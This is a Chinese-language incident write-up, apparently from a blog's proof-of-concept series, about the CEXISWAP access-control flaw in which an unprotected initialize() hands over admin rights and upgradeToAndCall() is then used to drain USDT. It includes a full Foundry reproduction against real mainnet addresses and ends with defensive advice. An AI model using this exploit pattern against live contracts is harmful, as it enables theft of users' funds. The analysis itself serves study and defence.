14.CEXISWAP@Incorrect-Access
2023-11-19 15:00:55 # 08.PoC

CEXISWAP@Incorrect-Access

交易

资金流向

image-20231119144401572

攻击过程

image-20231119144457068

攻击详细分析

攻击步骤就两个:调用initialize()upgradeToAndCall(),很明显,initialize()是用来获取权限,然后upgradeToAndCall()是用权限来获利。

按道理,初始化函数应该只能调用一次,但是黑客看到了项目方调用了两次,如下图。那么猜测这个初始化函数是有问题的,不符合最佳实践。

image-20231119145634721

那么这样就可以想一下,是否可以多次调用初始化函数呢?是否任何人都可以调用呢?事实上,任何人都可以调用,这个关键函数没做保护,只是没将合约开源而已。

拿到了权限,就可以调用upgradeToAndCall()进行获利。

复现

github

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

contract CexiTest is Test {
ICEXISWAP private constant CEXISWAP =
ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
IUSDT private constant USDT =
IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
Exploiter private exploiter;

function setUp() public {
vm.createSelectFork("mainnet", 18182605);
vm.label(address(CEXISWAP), "CEXISWAP");
vm.label(address(USDT), "USDT");
}

function testExploit() public {
exploiter = new Exploiter();
exploiter.exploit();
emit log_named_decimal_uint(
"Attacker USDT balance after exploit",
USDT.balanceOf(address(this)),
6
);
}
}

contract Exploiter {
ICEXISWAP private constant CEXISWAP =
ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
IUSDT private constant USDT =
IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
bytes32 private constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address private immutable owner;

constructor() {
owner = msg.sender;
}

function exploit() external {
CEXISWAP.initialize(
"HAX",
"HAX",
address(this),
address(this),
address(this),
address(this)
);
CEXISWAP.upgradeToAndCall(
address(this),
abi.encodePacked(this.exploit2.selector)
);
}

// function 0x1de24bbf
function exploit2() external {
// delegatecall
USDT.transfer(owner, USDT.balanceOf(address(this)));
}

function upgradeTo(address newImplementation) external {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}

建议

  • 未开源 != 安全
  • 关键函数一定要做权限校验
Prev
2023-11-19 15:00:55 # 08.PoC